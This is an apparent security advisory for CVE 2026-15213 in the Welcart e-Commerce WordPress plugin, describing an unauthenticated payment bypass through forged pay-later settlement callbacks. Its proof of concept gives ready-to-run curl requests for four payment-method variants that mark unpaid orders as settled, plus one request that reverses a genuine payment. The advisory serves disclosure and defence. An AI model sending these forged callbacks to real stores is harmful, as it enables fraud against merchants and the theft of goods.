Welcart e-Commerce < 2.11.33 – Unauthenticated Payment Bypass via Forged Settlement Callback | CVE 2026-15213

Description

The plugin does not verify the authenticity of its convenience-store / bank-transfer settlement callback: an unauthenticated request can flip an order from unpaid to settled purely from an order number and a status flag, with no signature, amount, or origin check. Because these are pay-later methods, an attacker can mark their own unpaid order as settled and obtain fulfilment without paying.

Proof of Concept

Prerequisite: the store offers an acting convenience-store or bank-transfer (pay-later) settlement method. The settlement handler is registered unconditionally and runs on every front-end request, so no gateway configuration is needed to reach it.

1. As an unauthenticated visitor, place a pay-later order so it is created unpaid (order_status "noreceipt"), and note its settlement id. For the JPayment variants the attacker sets the settlement id themselves at checkout, which removes any need to know it in advance.

2. Forge the "payment received" callback instead of paying. No signature, secret, amount or origin check is performed. Any one of the following is sufficient:

   Variant A, Remise convenience store:
     curl -sS -X POST 'https://victim.example/' \
       --data-urlencode 'S_TORIHIKI_NO=<settlement-id>' \
       --data-urlencode 'REC_FLG=1'

   Variant B, JPayment convenience store:
     curl -sS 'https://victim.example/?acting=jpayment_conv&ap=CPL&cod=<settlement-id>'

   Variant C, JPayment bank transfer:
     curl -sS 'https://victim.example/?acting=jpayment_bank&ap=BAN_SAL&mf=1&cod=<settlement-id>'

   Variant D, Epsilon convenience store (requires the Epsilon module enabled):
     curl -sS -X POST 'https://victim.example/' \
       --data-urlencode 'trans_code=X' --data-urlencode 'user_id=Y' \
       --data-urlencode 'order_number=<settlement-id>' --data-urlencode 'paid=1'

3. Expected result: the order moves from "noreceipt" to "receipted" and a receipted_date meta is written, so the merchant sees a paid order and fulfils it without payment having been made.

4. The reverse direction works the same way, letting an unauthenticated request mark a genuinely paid order unpaid:
     curl -sS 'https://victim.example/?acting=jpayment_conv&ap=CVS_CAN&cod=<settlement-id>'
   Expected result: the order moves from "receipted" back to "noreceipt" and the receipted_date meta is removed.

Verify by reading the order row rather than the HTTP response. Variant A returns "<SDBKDATA>STATUS=800</SDBKDATA>" and variant D returns "0 999 ERROR3", the latter emitted after the order has already been flipped, so the response body is not a reliable success signal.